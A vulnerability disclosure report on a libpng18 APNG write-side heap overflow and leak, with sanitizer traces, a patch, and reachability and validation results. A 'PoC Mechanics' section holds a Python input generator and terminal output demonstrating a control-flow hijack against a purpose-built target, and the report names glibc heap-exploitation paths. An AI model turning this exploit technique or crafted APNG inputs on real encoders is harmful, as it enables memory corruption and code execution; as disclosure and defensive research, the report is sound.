Vulnerability Report

0day: libpng APNG OOB Write

A write-side fuzzing campaign against libpng18's APNG re-encode path found a per-frame buffer lifecycle bug causing both a memory leak and a width-dependent heap buffer overflow. The overflow carries 100% attacker-controlled bytes, scales linearly with canvas width to a per-row ceiling of approximately 4 MB at libpng's default user-width limit, and was characterized in a no-ASAN glibc test build as an input-controlled adjacent-heap overwrite. Patch authored and validated across a multi-billion-execution post-discovery campaign.

Discovery Context

How the bug was found.

The attack surface of a mature image library sounds like a solved problem. libpng has been audited, fuzzed, and deployed at planetary scale for three decades. Running an AI-driven fuzzing campaign against it in 2026 sounds almost quaint - until you remember that the machine doesn't tire, doesn't speculate, and doesn't decide the read side is probably fine.

An 11-vector parser harness ran autonomously for 22 hours - 26 iterations, 158 million executions against libpng 1.6.50, covering synchronous read, progressive read, simplified API, write-back round-trip, transform combos, and allocation-failure injection. Coverage climbed from 11% to 38.94% of instrumented program counters. Zero crashes. Zero memory-safety findings. A human researcher might have called it there.

The agent pivoted. libpng18 - the post-v1.6.58 mainline merge of APNG write support at commit 614ab644f - had never been fuzz-tested on the write path at this depth. A harness mirroring the standard APNG re-encode loop was constructed in minutes: read each frame head, read rows, write frame head, write rows, write frame tail. The fuzzer fired the first bug within seconds. The second came 25 minutes later.

Total elapsed time from parser saturation to both write-side findings confirmed: under one hour. Time from findings to coordinated disclosure bundle: same afternoon. That gap - machine-speed discovery, coordinated remediation - is the real story.

Impact Analysis
Severity
High
CVSS:3.1 7.8 · AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — assumes an application that feeds attacker-controlled APNG geometry through the affected API and where the corruption converts to full process compromise.
Status
Patch accepted
Accepted by the maintainer 2026-06-23; fixed release not yet shipped.
Reachability
Write API only
Read-only consumers unaffected; common tested APNG tools did not reproduce
CVE
None assigned
Requested 2026-06-23 and 06-29; declined 07-10 on scoping grounds; not re-issued since the advisory was narrowed.
Why It Wasn't Caught Earlier

Three reasons OSS-Fuzz missed it.

  1. APNG write merged late. PNG_APNG_SUPPORTED + PNG_WRITE_APNG_SUPPORTED came into libpng's mainline through the libpng18 branch (post-v1.6.58). Vanilla libpng 1.6.x distributions without the APNG patch are not affected.
  2. OSS-Fuzz historically pressures the read side. The standard fuzz target libpng_read_fuzzer.cc exercises decode. The per-frame APNG write API is only reachable through a harness that explicitly drives png_write_frame_head / png_write_rows / png_write_frame_tail in a loop.
  3. The trigger pattern is structural. The bug fires only when per-frame fcTL widths vary across an APNG - specifically, when a narrower frame is followed by a wider one. Generators that emit uniform-width APNGs (the common case) miss the bug class entirely.

The campaign's 50+ semantic mutation strategies in png_semantic_mutator.py included one - apng_fctl_geometry - that perturbed per-frame widths independently. That single strategy is what surfaced the canonical 4,4,4,3,1,4,4,4 width-sequence reproducer.

Technical Breakdown

What is happening, in detail.

One defect, two symptoms

Findings 002 and 003 are a single defect: png_write_reset does not release the per-frame scratch buffers. With uniform frame widths that shows up as a clean memory leak; with varying widths it becomes an out-of-bounds write. One patch closes both, so the advisory treats them as one independently-fixable vulnerability mapping to one CVE. A third finding from the same campaign - sub-byte pad-bit propagation (CWE-908) - is spec-compliant, was removed from the advisory as a hardening item, and is not closed by this patch.

Root Cause - Memory Leak (Finding 002, CWE-401)

png_write_reset (pngwutil.c:2884) is called from png_write_frame_head to begin each new APNG frame. It zeros three frame-progress fields - row_number, pass, and a mode flag - but does not free row_buf, prev_row, try_row, or tst_row. Because the counters are zeroed, the next png_write_row call re-enters the first-row init path and png_write_start_row runs again. It reallocates row_buf unconditionally, and prev_row whenever the frame's filter set includes AVG, UP, or PAETH - in both cases overwriting the pointer without freeing what it held. (try_row and tst_row are guarded on try_row == NULL, so they survive instead; that is the path Variant A trips.) Every frame silently leaks its scratch allocation.

Three-band schematic: top band shows the canonical 4,4,4,3,1,4,4,4 fcTL width sequence with the shrink-then-grow trigger marked; middle band shows png_write_filtered_row swapping row_buf and prev_row after each row, carrying a narrower frame's small buffer across the frame boundary because png_write_reset frees neither; bottom band shows a later row of a wider frame overflowing that stale buffer into the adjacent glibc unsorted-bin chunk header.
The three-step mechanic: the canonical width sequence establishes the trigger pattern (top); the row_buf/prev_row swap explains how a narrower frame's buffer survives into a wider one (middle); a later row of the wider frame lands 100% attacker-controlled bytes onto adjacent heap memory (bottom), characterized in a no-ASAN glibc test build as reaching unsorted-bin chunk metadata. The middle band is drawn generically - which frame in the sequence supplies the stale buffer depends on the per-frame filter set, since png_write_start_row only reallocates prev_row when the filters include AVG, UP, or PAETH.
LeakSanitizerfinding_002 - 263 B canonical reproducer
LSan
Direct leak of 26 byte(s) in 2 object(s) allocated from:
  #1 png_malloc_base                  pngmem.c:98
  #3 png_calloc                       pngmem.c:54
  #4 png_write_start_row              pngwutil.c:2096   <- prev_row
  #5 png_write_row                    pngwrite.c:812

Direct leak of 26 byte(s) in 2 object(s) allocated from:
  #1 png_malloc_base                  pngmem.c:98
  #3 png_write_start_row              pngwutil.c:2049   <- row_buf
  #4 png_write_row                    pngwrite.c:812

SUMMARY: AddressSanitizer: 52 byte(s) leaked in 4 allocation(s).

The leak grows linearly with frame count. num_frames is capped at PNG_UINT_31_MAX (0x7fffffff); combined with typical row-bytes in the kilobytes, an attacker can leak megabytes per re-encode call. Against a long-running process that re-encodes APNG through the per-frame write API, that is slow heap-pressure DoS - subject to the same narrow reachability as the overflow, which is covered below.

OOB Write Mechanics (Finding 003, CWE-787)

My original report explained this as row_buf simply being left sized for the narrower frame. The maintainer instrumented it during triage and showed that is not what happens: png_write_start_row does fire on every frame, and it does allocate row_buf at the correct size for that frame. The stale buffer arrives by a different route, and the corrected mechanism is the one below.

The trigger is the filter double-buffer. png_write_filtered_row swaps row_buf and prev_row after each row, so the two pointers trade places as a frame is written out; png_write_reset frees neither. A narrow intermediate frame's small row_buf is swapped into prev_row and survives there across the frame boundary. On the second row of a later, wider frame, the swap puts that stale narrow buffer back into row_buf - and the row memcpy at pngwrite.c:900 writes the wide frame's row into it:

memcpy(png_ptr->row_buf + 1, row, row_info.rowbytes)

The write is row_info.rowbytes - that is PNG_ROWBYTES(usr_pixel_depth, current_width), 12 bytes for a 4-pixel RGB8 row - starting at row_buf + 1, into an allocation sized for the narrow frame. The wide frame's first row is fine; a later row is where it lands, so a single-row wide frame will not trip it. The mismatch is otherwise geometric: independent of color type, bit depth, and interlace type.

The canonical trigger is an 8-frame RGB8 APNG with fcTL widths 4,4,4,3,1,4,4,4: three full-width frames, two progressively narrower frames, then growth back to full width. The OOB fires on the first wide post-narrow frame.

AddressSanitizerfinding_003 - 603 B canonical reproducer
ASAN
==21987==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000065a
WRITE of size 12 at 0x60200000065a thread T0
    #0 __asan_memcpy
    #1 png_write_row              pngwrite.c:900:4
    #2 png_write_rows             pngwrite.c:651:7
    #3 LLVMFuzzerTestOneInput     apng_write_fuzzer.c:473:17

0x60200000065a is located 0 bytes to the right of 10-byte region [0x602000000650,0x60200000065a)
allocated by thread T0 here:
    #0 malloc
    #1 png_malloc_base            pngmem.c:98:11
    #2 png_malloc                 pngmem.c:181:10
    #3 png_write_start_row        pngwutil.c:2049:23
    #4 png_write_row              pngwrite.c:812:7
    #5 png_write_rows             pngwrite.c:651:7

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

A 12-byte write into a 10-byte region. Because the destination is row_buf + 1, the write runs from offset 1 to offset 12 and ASAN flags the first out-of-bounds byte at offset 10 - three bytes past the end. From a 603-byte input. Deterministic across runs.

Linear Scaling - Verified

Three bytes sounds harmless. It isn't. Using a width-tunable APNG generator mirroring the shrink-then-grow pattern, the OOB write size scales linearly with canvas width:

Canvas width Wrow_buf sizememcpy sizeOOB delta
4 (canonical)10 B12 B3 B
164 B48 B45 B
644 B192 B189 B
2564 B768 B765 B
1,0244 B3,072 B3,069 B
4,096 (harness MAX_DIM)4 B12,288 B12,285 B
1,000,000 (libpng default PNG_USER_WIDTH_MAX)4 B~3 MB~3 MB / row  ·  ~4 MB at 4 bpp

The bytes past the end are exactly new_rowbytes − old_rowbytes, since both allocations carry the same one-byte filter prefix. For RGB8 following a 1-pixel frame that is W × 3 − 3 bytes per row. Multi-row frames re-trigger per row; multi-frame APNGs re-trigger per wide post-narrow frame. At libpng's default user-width limit and 4 bytes per pixel, a single overflowing row writes approximately 4 MB of attacker-controlled bytes past a 4-byte allocation.

Attacker control properties

  • Bytes written: 100% attacker-controlled. With filter=None, IDAT/fdAT pixel bytes survive to the memcpy verbatim; other filters are reversible.
  • Write size: attacker-tunable from 1 byte to ~4 MB by IHDR width and the fcTL frame-width pattern.
  • Determinism: same input ⇒ same OOB size, same memcpy call site, same relative offset. Allocator address differs run to run; the delta is constant.
  • Repeatability: an 8-frame seed gives 3+ OOB writes back-to-back. Under the deterministic bump allocator they land on the same reused row_buf slot; against glibc the slot is reused too, so the repetition is depth, not spread. A single sub-1 KiB input file produces multiple OOB hits.

Reachability

Grepping the libpng tree for png_write_frame_head and png_write_frame_tail turns up their definitions and exactly one caller: pngtest.c:1553. Several commonly-tested tools - apngasm, apngopt, and ImageMagick - bypass this API entirely, assembling APNG containers with fwrite directly and did not reproduce the bug. Read-only consumers do not reach the write path. The realistically affected population is any encoder built directly against libpng's per-frame APNG write API.

Patch pngwutil.c - png_write_reset patch (comment updated post-triage)
diff
--- a/pngwutil.c+++ b/pngwutil.c@@ -2886,6 +2886,24 @@ png_write_reset(png_struct *png_ptr)    png_ptr->row_number = 0;    png_ptr->pass = 0;    png_ptr->mode &= ~PNG_HAVE_IDAT;++   /* Release per-frame scratch buffers so png_write_start_row will+    * re-allocate them at the correct size for the next frame. Without+    * this, png_write_filtered_row's row_buf/prev_row swap can carry a+    * narrow frame's buffer into a later, wider frame, causing either a+    * leak (uniform widths) or a heap-buffer-overflow on the second row+    * memcpy of the wider frame.+    */+   png_free(png_ptr, png_ptr->row_buf);+   png_ptr->row_buf = NULL;+#ifdef PNG_WRITE_FILTER_SUPPORTED+   png_free(png_ptr, png_ptr->prev_row);+   png_ptr->prev_row = NULL;+   png_free(png_ptr, png_ptr->try_row);+   png_ptr->try_row = NULL;+   png_free(png_ptr, png_ptr->tst_row);+   png_ptr->tst_row = NULL;+#endif }
ReproducerPre-patchPost-patch
iter_apng_write_leak_001.bin (263 B)LSan: 4 allocs / 52 B leakclean (exit 0)
crash-…7f7c72b (603 B)ASAN heap-buffer-overflowclean (exit 0)
finding_003_min.png (467 B)ASAN heap-buffer-overflowclean (exit 0)
variant_a_2235B.bin (2,235 B)ASAN heap-buffer-overflow at variant alloc siteclean (exit 0)

100-file APNG seed-corpus smoke test under ASAN+LSan+UBSAN: zero errors, zero leaks. The extra png_free calls did not introduce double-free or use-after-free regressions on normal-shape inputs.

On the diff above: the code is byte-for-byte what was submitted and what the maintainer accepted. Only the explanatory comment differs - the submitted version described the mechanism as a frame reusing a buffer sized for the prior frame, which is the framing the maintainer corrected during triage. The comment shown here reflects the corrected mechanism; the wording that lands upstream is the maintainer's call.

Corruption Primitive

What the overflow actually clobbers.

ASAN reports the existence of the bug. To characterise the primitive it produces, I built a non-ASAN debug build (build-noasan/) and ran a conditional-breakpoint gdb script on libpng's own pngtest binary with the W=64 PoC input. The script breaks only when rowbytes + 1 > chunk_size - i.e. only on actual OOB rows.

Six OOB writes from one input file, all landing at the same row_buf heap slot 0x555555593090 (deterministic per-input). chunk_size = 0x20 (32 B), writable region 24 B, memcpy 192 B - 168 B past the usable region per fire, or 169 counting the filter byte the copy skips. (The scaling table above measures against ASAN's exact-size allocation; glibc rounds the same request up to a 24-byte usable region, so the two figures differ by the rounding, not by disagreement.)

gdb · pre-OOBadjacent free chunk in glibc's unsorted bin
gdb
--- next chunk header @ row_buf + writable ---
0x5555555930a0:   0x0000555555593080   0x0000000000000411
0x5555555930b0:   0x00005555555934c0   0x0000555555560010
                  ^prev_size           ^size (0x410 | PREV_INUSE)
                  ^FD                  ^BK

A 1,040-byte free chunk in glibc's unsorted bin. Visible by the FD/BK pointers chaining into other heap chunks. Size field 0x410 | 0x1 (size 0x410 with the PREV_INUSE bit set).

gdb · post-OOBheap metadata fully overwritten with attacker bytes
gdb
0x5555555930a0:   0xaaaaaaaaaaaaaaaa   0xaaaaaaaaaaaaaaaa
0x5555555930b0:   0xaaaaaaaaaaaaaaaa   0xaaaaaaaaaaaaaaaa
NEXT chunk size = 0xaaaaaaaaaaaaaaa8   flags-low3 = 0x2 (IS_MMAPPED set)

Pixel byte 0xAA is what the generator emits - every overwritten metadata byte is attacker-controlled. The prev_size, size, FD, and BK fields of the adjacent unsorted-bin chunk are now under attacker control.

What the primitive is worth

I did not implement any exploitation chain end-to-end against pngtest. The defensive picture stops at "deterministic heap-metadata corruption with 100% attacker bytes."

That is a potentially exploitable corruption primitive: the write crosses an object boundary and lands attacker bytes on allocator metadata. Converting it into an arbitrary write or code execution is a different question - modern glibc has hardened every classical path, with unsorted-bin FD/BK checks and tcache safe-linking added in 2.32 and the malloc hooks removed in 2.34. No production-target exploit was developed, and the technique catalogue is deliberately omitted here.

This characterises the corruption primitive in a purpose-built local debug build. Real-world exploitability depends on allocator version, glibc patch level, heap layout, ASLR posture, and the surrounding application.

Variant A

Independent rediscovery of the same family.

A separate patch-validation harness (apng_write_transform_fuzzer.c) called png_set_filter / png_set_compression_level / png_set_compression_strategy / png_set_compression_buffer_size between every frame head, with values driven by a hash of the input. Its first pass against unpatched libpng18 fired:

AddressSanitizerVariant A - png_set_filter alloc-site manifestation
ASAN
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1 at <addr> thread T0
  #0 png_setup_paeth_row              pngwutil.c:2592
  #1 png_write_find_filter            pngwutil.c:2825
  #2 png_write_row                    pngwrite.c:957
  #3 png_write_rows                   pngwrite.c:651

allocated by:
  #3 png_set_filter                   pngwrite.c:1182

A different alloc site - png_set_filter allocates try_row and tst_row at the time it is called, and only when they are NULL - so a stale pair from an earlier frame is kept rather than replaced. Same root cause: per-frame scratch buffer left alive across a frame transition that narrows then widens.

The same disclosed patch (which frees try_row and tst_row in png_write_reset) covers this manifestation too. Second pass against the patched build: 90 minutes, 147.9 M execs, 0 trips. Variant A confirms the patch is correct beyond the specific call sites in the original reproducers. A smaller patch freeing only row_buf would leave this manifestation open.

PoC Mechanics

From OOB to control-flow hijack.

Why a purpose-built target

A real exploit chain against pngtest would need an info leak (for ASLR bypass) and a heap-shaping primitive (to control allocation adjacency). Both are standard assumptions in modern heap-corruption literature - and orthogonal to whether the OOB primitive is convertible to control-flow. To keep the demo crisp, both assumptions are materialised inside the target binary rather than papered over at runtime:

  • Fixed code addresses. Built with -no-pie, so &pwn is a compile-time constant.
  • Deterministic heap. glibc's malloc/free/calloc/realloc overridden by a bump allocator backed by mmap(MAP_FIXED, 0x100000000, 16 MiB). Every allocation address is a function of allocation serial number.

The mechanic

The bump allocator detects libpng's narrow-frame malloc(4) (1 px RGB8 + filter byte) and reserves the next 16 bytes for an fp_table struct that lands inside the soon-to-fire OOB write range:

vuln_app.cbump allocator - fp_table reservation trick
C
struct fp_table {
    void (*cb)(void);
    char  pad[8];
};

if (reserve_armed && n == 4 && reserved_fp_table_slot == NULL) {
    reserved_fp_table_slot = heap_top;
    narrow_row_buf_addr   = p;
    heap_top += 16;
}

After each frame's encode, vuln_app calls fp_table->cb(). With benign input, cb is &benign. With the exploit input, cb is whatever the OOB just wrote.

The exploit input

gen_exploit_png.py generates a 638-byte 8-frame APNG with widths 64,64,64,32,1,64,64,64 - same shrink-then-grow shape, scaled to W=64. Wide post-narrow frames carry &pwn as little-endian 8 bytes at pixel-row offset 15..22:

gen_exploit_png.pyembedding &pwn at row[15..22] of the wide post-narrow frame
Python
def craft_wide_row(canvas_w, pwn_addr):
    rowbytes = canvas_w * 3
    row = bytearray(rowbytes)
    row[15:23] = struct.pack('<Q', pwn_addr)
    return bytes(row)

The OOB memcpy lands those 8 bytes onto fp_table->cb. The next call site invokes pwn(), which runs system("xcalc") and writes /tmp/PWNED.txt.

Terminal · end-to-end runvuln_app exploit.png
shell
$ ./build_vuln.sh
$ PWN=$(./vuln_app /tmp/oob_W64.png 2>&1 | grep "&pwn      =" | awk '{print $NF}')
$ python3 gen_exploit_png.py "$PWN" exploit.png
wrote 638 bytes to exploit.png
&pwn = 0x4028db embedded at row[15..22] of wide post-narrow frames

$ ./vuln_app exploit.png
[+] vuln_app starting
[+] &pwn      = 0x4028db
[+] heap @ 0x100000000 ... 0x101000000 (deterministic, MAP_FIXED)
[+] read 64x4 rowbytes=192
[+] fp_table @ <slot>, ->cb = <benign>
[+] AFTER write loop:
[!!!] callback HIJACKED to &pwn - invoking now
=================================================
[!!!] CONTROL FLOW HIJACKED - pwn() executing
=================================================
[!!!] launching xcalc...

Negative test: passing 0xdeadbeef instead of &pwn overwrites the callback with garbage and the call site SIGSEGVs deterministically. That is the negative control proving the overwrite hits the right offset.

Glibc dependence and mitigation envelope

The standard heap-exploitation paths depend on glibc allocator internals that have changed across versions:

  • __free_hook / __malloc_hook: removed in glibc 2.34 (2021-08). Pre-2.34 distros (Ubuntu ≤ 20.04, Debian ≤ bullseye, RHEL ≤ 8) remain exposed to the simplest hook-overwrite chain.
  • Unsorted-bin FD/BK sanity check: added in glibc 2.32. Defeats the classic unsorted-bin-attack write primitive on ≥2.32. Tcache poisoning still works.
  • Tcache safe-linking: also added in glibc 2.32. Defeats naïve tcache poisoning on ≥2.32; attacker-controlled FD must now be XORed with the chunk's location before insertion.

The verified primitive (100% attacker bytes onto adjacent unsorted-bin chunk metadata) is the same primitive real-world CVEs against allocator-adjacent OOBs have exploited. Whether it is RCE-grade on a given target depends on host glibc version, ASLR posture, and heap layout - none of which the bug controls.

Controlled Exploitability Demonstration

A short, controlled reproduction.

EXPLOIT · DEMONSTRATION VIDEO · 16:9
Control flow hijack against purpose-built vuln_app · explicit ASLR-bypass and deterministic-heap assumptions · not a working exploit against any deployed application
Reachability

Who actually re-encodes APNGs?

Before publishing severity claims I checked which user-space tools actually call libpng's per-frame APNG write API:

Toollibpng write API usedReproduces finding_003?
apngasm v3.1.10png_write_image onlyNot reproduced
apngopt 1.4png_write_image onlyNot reproduced
ImageMagick (coders/png.c)png_write_row + png_write_info / png_write_endNot reproduced

Grepping the libpng tree for png_write_frame_head and png_write_frame_tail turns up their definitions in pngwrite.c and exactly one caller, pngtest.c:1553. pngtest is the only caller of the per-frame APNG write API in libpng's own tree. Debian ships it in the libpng-tools package and runs it during make test.

The realistically affected population is narrower than "image CDNs / re-encoders": (1) pngtest itself - shipped binary, runs during build/CI; (2) any encoder built directly against libpng's per-frame APNG write API; (3) future encoders written against this API without awareness of the lifecycle requirement. Read-only consumers - browsers, image viewers, decoders that don't call png_write_* - do not reach the vulnerable path.

Patch Validation

Does the patch fully close the bug class?

Eight validation campaigns across five days answered the obvious follow-up: does the patch close the full family, or only the known reproducers? Cumulative validation fuzz: ~7.7 billion executions across 30+ distinct harnesses, 5 sanitizer combinations, 3 independent comparators (libspng, stb_image, libpng16), and patched + unpatched builds.

CampaignSurfacesExecsNew security findings
APNG-write continuation3 harnesses (MSAN v2, transform, roundtrip)~308 M0 (1 family variant - Variant A)
Deep continuation8 tracks (libspng diff, alloc-fail v1+v2, UBSAN unsigned, CRC chaos, setter chaos, adversarial IO, libpng18 vs libpng16)~590 M0
Progressive-vector4 harnesses~486 M0
Metadata-roundtrip3 harnesses~761 M0
Complex-transform pipeline3 harnesses~234 M0 (1 harness-misuse class on png_set_background_fixed - hardening, not security)
APNG patch-diff sweep7,375 inputs + 2 h libFuzzer + 90 min MSAN7,375 + 616 M execs0 patched-side trips
Cleanup-audit3 micro-harnesses~358 M0
Chaos pipeline + critic-mode7 harnesses~4 B0

The patch-diff sweep is the strongest single piece of evidence: of 7,375 deterministically-classified inputs from every prior corpus, 322 trip the unpatched build (FIXED_FAMILY); 0 trip the patched build. Plus 616 M execs of additional libFuzzer + MSAN pressure on the patched build alone, also 0 trips. The validation campaign found strong evidence that the patch closes the observed finding_002/003 family across every harness shape tested.

Disclosure Timeline

From discovery to coordinated disclosure.

  1. 2026-04-29 Campaign starts. libpng 1.6.50, ASAN+UBSAN, 11-path parser harness. Coverage 11% - 38.94%.
  2. 2026-05-01 Finding 001: MSAN pad-bit propagation (CWE-908). Hardening, not exploitable.
  3. 2026-05-02 Finding 002 + 003 on libpng18 APNG write path. Both deterministic.
  4. 2026-05-02 Patch authored. Disclosure bundle prepared.
  5. 2026-05-05 → 06 ~7.7B cumulative execs across 30+ harnesses. Patch-diff sweep: 322 unpatched trips → 0 patched trips. Saturation confirmed.
  6. 2026-05-06 Linear OOB scaling verified to ~4 MB ceiling at PNG_USER_WIDTH_MAX. Working control-flow hijack demonstrated against purpose-built target.
  7. 2026-05-11 GitHub Security Advisory GHSA-wr84-h9jm-6g23 opened against pnggroup/libpng.
  8. 2026-06-23 Maintainer accepts the report, independently reproduces both inputs under ASAN/UBSAN/LSan, and validates the patch end-to-end. Root-cause framing corrected to the row_buf/prev_row swap. CVE requested.
  9. 2026-06-23 Finding 001 ruled spec-compliant - a hardening item rather than a vulnerability, to be handled separately. Patch accepted essentially as-is, to land behind a regression test built from the 467 B reproducer.
  10. 2026-06-29 CVE request re-issued by the maintainer after the first went unanswered.
  11. 2026-07-10 GitHub declines the CVE request under CNA rule 4.2.11 - the advisory covered more than one independently-fixable vulnerability.
  12. 2026-07-11 Advisory narrowed to a single vulnerability (CWE-787), with the CWE-401 leak folded in as its same-patch companion and finding 001 removed.
  13. 2026-08-06 Published. The advisory is still a draft, the fixed release has not shipped, and no CVE has been assigned.
Companion Finding

finding_001 - separate hardening report.

For completeness: the same campaign also produced a low-severity write-side hardening item that was filed as a separate report to libpng's public list, not bundled with 002/003.

finding_001 - sub-byte gray pad-bit propagation (CWE-908). png_combine_row (pngrutil.c:3870) preserves the destination row buffer's pre-memcpy padding bits across the memcpy that fills the row. For sub-byte grayscale rows whose (width × bit_depth) mod 8 ≠ 0, those preserved bits are uninitialised and propagate into the IDAT byte stream when the buffer is later written.

PNG 1.2 §7.2 explicitly leaves the value of those padding bits unspecified, so the behaviour is spec-compliant - but it is at odds with the common-practice convention (lodepng, stb_image_write, Wuffs, libspng all zero-pad). The pad-bit issue is structural across the entire libpng 1.6 series; the relevant OR-restore line is byte-for-byte identical between v1.6.43 (pngrutil.c:3679) and HEAD.

An observability study (185×256 1bpp images, allocator-fill 0xAA / 0x55 / 0xCC, 100 trials per arm) bounded the leak window:

  • Theoretical per-image leak: 1,792 bits (256 rows × 7 pad bits).
  • Actually observable: ~49 / 1,792 (~2.7%). Remaining rows return zero regardless of allocator fill.
  • Stddev 0 across trials per arm - deterministic per-input.

49 bits per image is too small to reconstruct a 64-bit pointer reliably, and the leakable bits map to fresh-malloc residue (predominantly zero or low-entropy on most allocators). Treated as hardening, not exploitable info disclosure.

Takeaways

Lessons.

  1. Fuzz the write side. OSS-Fuzz historically pressures decode. A natural read-then-re-encode harness - the very thing image-processing pipelines actually do - was enough to surface security-relevant write-side memory corruption in under 30 minutes against a continuously-fuzzed library.
  2. Width-varying multi-frame APNG is the structural weak shape. Generators that emit only uniform-width APNGs miss this entire bug class. The shrink-then-grow pattern 4,4,4,3,1,4,4,4 is the canonical worst case.
  3. Lifecycle helpers are bug factories. png_write_reset looks like a 3-line helper. It zeroes frame-progress fields and leaves the four scratch buffers alone, trusting the allocation path to sort itself out. It does - for row_buf. What it does not account for is that png_write_filtered_row has already moved the previous frame's buffer into prev_row. The state a lifecycle helper misses is often state that some other function moved. One root cause, three manifestations (finding_002, finding_003, Variant A), one patch.
  4. Get the root cause reviewed by someone who owns the code. My reported mechanism was wrong. The reproducers were right, the patch was right, and the severity was right - but the causal story was still wrong, because it was inferred from the allocation path without instrumenting the swap. The maintainer caught it in triage by instrumenting png_write_start_row and finding it fired every frame at the correct size. A mechanism that predicts the observed crash is not the same thing as the mechanism.
  5. Linearly-scaling OOBs should not be dismissed by their smallest reproducer. "Three bytes past a ten-byte allocation" sounds harmless. "Up to 4 MB of attacker-controlled bytes onto adjacent heap metadata" doesn't. The correct framing always quantifies the primitive at the user-limit ceiling, not the canonical-seed minimum.
  6. Reachability is half the severity story. apngasm, apngopt, and ImageMagick all bypass libpng's per-frame APNG write API by accident - they assemble APNG containers manually with fwrite. The realistically affected population is materially smaller than "image CDNs and server-side optimisers" suggests. This scoping detail matters for any severity assessment.
  7. Patch validation matters as much as the initial finding. The same patch closed the original leak, the OOB write, and the later Variant A manifestation - three distinct alloc sites - across billions of follow-up executions. A finding is not finished when the bug fires; it is finished when the patch is verified to close the full family.
  8. Saturation is a finding too. Roughly 7.7 billion executions across 30+ harness shapes with zero new disclosure-grade bugs is positive evidence that the patched libpng18 APNG-write surface is tight under all the angles this campaign tried. A future researcher should pivot target rather than re-running the same harnesses.
  9. AI-driven fuzzing is good at exhaustion, not insight. The bug fired because one mutation strategy out of fifty perturbed per-frame fcTL widths independently. The agent didn't reason its way to the bug class; it ran the search space hard enough that the structural weak shape surfaced. The methodological claim isn't "agents are smarter"; it's "agents don't get tired, and they don't decide a surface is probably fine."
Scope

Who is actually at risk?

The confirmed affected set is narrow, and it is worth being precise about that rather than gesturing at libpng's install base. Four gates must all be true before an application is in scope: (1) the linked libpng exposes APNG write support (PNG_WRITE_APNG_SUPPORTED); (2) the application actually writes APNG through the per-frame API, not merely reads or views it; (3) frames of differing widths reach that API; and (4) attacker-influenced input can shape the frame sequence or geometry. Read-only consumers fail gate 2 structurally, which removes browsers, image viewers, and every plain decoder from the picture.

The maintainer's assessment and mine agree: the only in-tree caller of png_write_frame_head / png_write_frame_tail is pngtest.c. The realistically affected population is pngtest - shipped in Debian's libpng-tools - plus any application built directly against libpng's per-frame APNG write API.

Third-party API reachability

One concrete data point that this is not a purely in-tree surface: the Python package imagecodecs calls png_write_frame_head and png_write_frame_tail explicitly from its _apng.pyx Cython extension, against a vendored libpng-apng-patched build. That is source-level evidence of the API being used outside libpng's own tree.

Surveyed tools

Tool / CategoryVerdictRationale
pngtest (Debian libpng-tools)AffectedThe only in-tree caller of the per-frame APNG write API. Reachable and deterministic.
imagecodecs (Python)API path confirmed in sourceDirect png_write_frame_head / png_write_frame_tail usage via a vendored patched libpng. Not reproduced end to end against the package itself.
apngasm v3.1.10, apngopt 1.4Not affectedpng_write_image per frame; APNG container assembled manually with fwrite. Does not reach the per-frame write API.
ImageMagickNot affectedpng_write_row with png_write_info / png_write_end, without png_write_frame_head / tail.
Pillow, GraphicsMagickNot affectedPillow writes its own chunk headers; GraphicsMagick ignores APNG chunks even against a patched libpng.
Browsers and image viewersNot affectedRead-only consumers. Displaying an APNG does not call png_write_* at all. This is an encoder-path defect.
.NET ImageSharp, Rust image-png, Go apngNot affectedPure-language APNG implementations - no libpng linkage.
libvips (APNG branch, 2026)Worth watchingAn active PR adds APNG read/write via libpng. Not deployed yet, but a server-side path worth re-checking once merged.

What this is not

This is not remotely triggerable against a decoder. Receiving, viewing, or displaying a PNG or APNG does not reach the vulnerable code. Any application is in scope only if it generates APNG through libpng's per-frame write API - so the useful question about any given product is not "does it display PNG?" but "does any part of its pipeline encode APNG through png_write_frame_head?" I have not confirmed that for any consumer product, and I am not going to imply it by listing names.

Version reach

libpng18. libpng17 was abandoned years ago, and libpng16 does not and will not carry APNG. The caveat is the third-party libpng-apng patch: a patched v1.6.x build will most likely carry the identical defect, and those downstreams should pick up the fix once it lands upstream. Mainstream system libpng on Debian, Fedora, and Arch ships the 1.6 stable line without the APNG write API, which bounds today's exposure - but that changes as libpng18 reaches distribution channels, which is the argument for fixing it now rather than later.

Key Questions

Quick answers.

Is the libpng APNG write-side heap buffer overflow patched?

Not yet in a released version. The maintainer accepted the patch essentially as submitted on 2026-06-23 and will land it behind a regression test, but the fixed release has not shipped. The fix is a roughly 9-line addition to png_write_reset in pngwutil.c that releases the per-frame scratch buffers so they are re-allocated at the correct size.

What software is affected by the libpng APNG write-side overflow?

libpng18 (post-v1.6.58), in the per-frame APNG write API. The only in-tree caller is pngtest, which Debian ships in the libpng-tools package. Any application built directly against png_write_frame_head, png_write_rows, and png_write_frame_tail is also in scope. The Python package imagecodecs calls those symbols in its source, which shows the API is used outside libpng's own tree, but it was not reproduced end to end and its wrapper appears to emit full-canvas frames rather than the varying-width geometry this bug needs. Patched v1.6.x builds carrying the third-party libpng-apng patch most likely share the defect.

Are browsers or image viewers affected?

No. This is an encoder-path defect. Displaying, receiving, or decoding a PNG or APNG never calls png_write_frame_head or png_write_rows, so read-only consumers - browsers, image viewers, and plain decoders - do not reach the vulnerable code at all. A separate 158-million-execution campaign against libpng 1.6.50, whose 11 harness paths were dominated by the parser, found zero memory-safety issues.

Is this remote code execution?

No. A purpose-built target called vuln_app demonstrates a control-flow hijack from a 638-byte APNG, but it materializes two attacker primitives inside the binary itself - fixed addresses via -no-pie and a MAP_FIXED bump allocator for a deterministic heap - as stand-ins for a real info leak and heap-shaping primitive. That shows the out-of-bounds write is mechanically weaponizable under standard exploitation prerequisites. No end-to-end exploit against pngtest or any deployed application was developed.

What is the root cause?

png_write_reset resets frame-progress state between APNG frames but does not release the per-frame scratch buffers. Because png_write_filtered_row swaps row_buf and prev_row after each row, a narrow intermediate frame's small buffer survives in prev_row across the frame boundary and is swapped back into row_buf on the second row of a later, wider frame, where the row memcpy overruns it. The initially reported mechanism was different and was corrected by the maintainer during triage.

Is there a CVE for this?

Not yet. A CVE was requested on 2026-06-23 and again on 2026-06-29. GitHub declined the request on 2026-07-10 under CNA rule 4.2.11 because the advisory then covered more than one independently fixable vulnerability. The advisory was narrowed to a single vulnerability on 2026-07-11 and the CVE remains unassigned. It is tracked as GHSA-wr84-h9jm-6g23.

